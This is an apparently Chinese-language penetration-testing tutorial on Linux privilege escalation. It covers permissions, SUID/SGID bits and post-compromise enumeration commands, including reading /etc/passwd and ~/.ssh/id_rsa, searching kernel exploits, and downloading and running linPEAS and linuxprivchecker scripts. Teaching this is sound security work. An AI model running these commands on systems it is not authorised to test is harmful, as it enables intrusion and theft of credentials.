指的是使用的帳號應該要跟服務所需要的權限相符合。
如若部屬 Web 服務則使用 www-data 或 apache 等帳號,而非管理員的帳號直接部屬;針對資料庫,若網站只會使用到一個資料庫/表,那該資料庫帳號可以只限制於那個資料庫中。
當我們發現打進目標機器之後,可能只有 www-data 或是一般使用者的權限,你必須要找到更高的權限才能得到你想要的敏感資料,如必須要從一般職員到主管,才能拿到更多資料,因此透過提權的手法,可以讓自己提升權限。
我們曾經介紹過以下的工具取得目標權限
水平提權:可以控制其他相同權限使用者
垂直提權:可以控制更高權限的使用者
當我們執行 ls -al
列出當前資料夾內部的檔案,並以長列表顯示,並包含所有檔案(含隱藏檔案)。
-rwxr-xr-x feifei
第一個 - 代表檔案/d 代表資料夾
可以看到這個檔案的權限是 777,如下表 顯示
user group others
rwx rwx rwx
421 421 421
r = read
w = write
x = execute
有三個比較特別的權限在於,今天如果想要以一個「一般使用者」的身分,執行 root 寫的備份檔案,若以一般使用者權限則無法執行。
因此透過 set 權限,讓一般使用者可以執行原本無權限的檔案。
分成三種
SUID: 檔案如果在執行的階段,檔案的執行身分為檔案所有者的權限(rwsrwxrwx)
SGID: 檔案如果在執行的階段,檔案的執行身分為檔案群組的權限(rwxrwsrwx)
Sticky Bit: 希望檔案可寫入,但不能刪除
搜尋 SUIDfind / -perm -u=s -type f 2>/dev/null
透過收集資訊可以了解目標系統正在執行哪些服務,並透過什麼權限執行。
以下是針對 Linux 作業系統可以蒐集的資訊:
指令 | 說明 |
---|---|
cat /etc/issue | 查看作業系統 |
cat /proc/version | 查看核心版本 |
hostname | 查看主機名稱 |
uname -a | 查看系統資訊 |
可針對 Kernel 版本後蒐集攻擊腳本。searchsploit linux kernel 3.9
作業系統cat /etc/issue
kernel版本cat /proc/version
主機名稱hostname
系統資訊uname -a
指令 | 說明 |
---|---|
cat /etc/passwd | 查看系統使用者 |
id | 確認目前的使用者 id |
who | 查看目前正在執行的使用者 |
w | 顯示目前登入使用者相關資訊 |
sudo -l | 如果你是 sudo group 可查看目前可執行的指令 |
指令 | 說明 |
---|---|
ifconfig -a | 網路介面卡 |
route | 路由表 |
netstat -antup | 連線到終端 |
arp -e | ARP table |
指令 | 說明 |
---|---|
ps aux | 目前執行的 process |
dpkg -l | Debian 使用 |
rpm -qa | Fedora 使用 |
ps aux | grep root
如果要提權就要針對以 root 或其他高權限正在執行的 process 下手
ls -ls /etc/ | grep .conf
ls -ls /var/www/html/
find /* -user root -perm -4000 -print 2>/dev/null
找文件系統cat /etc/fstab
cat /etc/profile
cat /etc/bashrc
cat ~/.bash_profile
cat ~/.bashrc
cat ~/.bash_logout
env
set
cat ~/.ssh/id_rsa.pub
cat ~/.ssh/id_rsa
wget https://raw.githubusercontent.com/carlospolop/privilege-escalation-awesome-scripts-suite/master/linPEAS/linpeas.sh
./linpeas.sh
wget http://www.securitysift.com/download/linuxprivchecker.py
python linuxprivchecker.py
./unix-privesc-check standard
./unix-privesc-check detailed